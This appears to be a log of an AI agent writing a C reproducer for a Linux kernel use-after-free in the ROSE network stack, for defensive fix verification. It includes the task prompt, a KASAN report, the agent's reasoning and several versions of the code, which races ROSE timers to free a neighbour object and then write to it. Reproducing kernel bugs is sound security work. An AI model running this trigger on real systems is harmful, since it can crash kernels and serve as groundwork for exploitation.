#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE; // Fix: Use ARPHRD_ROSE instead of AF_ROSE
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        perror("SIOCSIFHWADDR rose0");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) continue;

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            perror("bind");
        }
        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            perror("SIOCADDRT");
        }
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```

gemini-3.1-pro-preview

							input: 12294
							output: 1555
							thoughts: 1792
						

**Refining the ROSE Reproducer**

Okay, so the feedback is pretty clear. The `ioctl(SIOCSIFHWADDR)` call on `rose0` is failing with `-EINVAL` because I'm using `AF_ROSE` (11) for `ifr.ifr_hwaddr.sa_family` when it should be `ARPHRD_ROSE` (270). This, in turn, is causing the subsequent `bind()` to fail with `-EADDRNOTAVAIL`. Right, makes sense.

So, first thing I need to do is update the reproducer.  I need to change that line:

```c
ifr.ifr_hwaddr.sa_family = AF_ROSE;
```

to either:

```c
ifr.ifr_hwaddr.sa_family = 270; // ARPHRD_ROSE
```

or, and this is cleaner and more maintainable:

```c
ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
```

I'll go with the latter, which means I'll need to include `<net/if_arp.h>` in the reproducer code.  Just to be absolutely sure, I'll quickly check that `ARPHRD_ROSE` is indeed defined within that header – and yep, it's right there.

The rest of the code looks fine in terms of its logic for triggering the race condition – creating the ax0 device, bringing it up, setting the MAC, setting sysctls, and then triggering the race with the socket operations. The fix is a simple, direct substitution of the incorrect family.

So, the change is confirmed, now just to include the header file and substitute the family.

map[CurrentReproStrategy:The feedback clearly indicates that the `SIOCSIFHWADDR` ioctl failed because `ifr.ifr_hwaddr.sa_family` was incorrectly set to `AF_ROSE` (11) instead of the expected hardware type `ARPHRD_ROSE` (270). This failure cascaded, leaving `rose0` without the expected MAC address, which then caused `bind()` to fail with `EADDRNOTAVAIL`.

To fix this, we simply need to include `<net/if_arp.h>` and use `ARPHRD_ROSE` when setting the hardware address for the `rose0` interface.

Here is the updated reproducer:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE; // Fix: Use ARPHRD_ROSE instead of AF_ROSE
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        perror("SIOCSIFHWADDR rose0");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) continue;

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            perror("bind");
        }
        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            perror("SIOCADDRT");
        }
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```]

gemini-3.1-pro-preview

map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. You MUST start by generating a simple 'probe' program first if the input variable NeedProbe is
true. This is a strict, non-negotiable requirement to verify that the test environment has the
necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when NeedProbe becomes false).
7. You must set the IsProbe output field to true if the generated C program is a minimal capability probe.
Set it to false if the C program is a full reproducer candidate attempting to trigger the target bug/crash.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
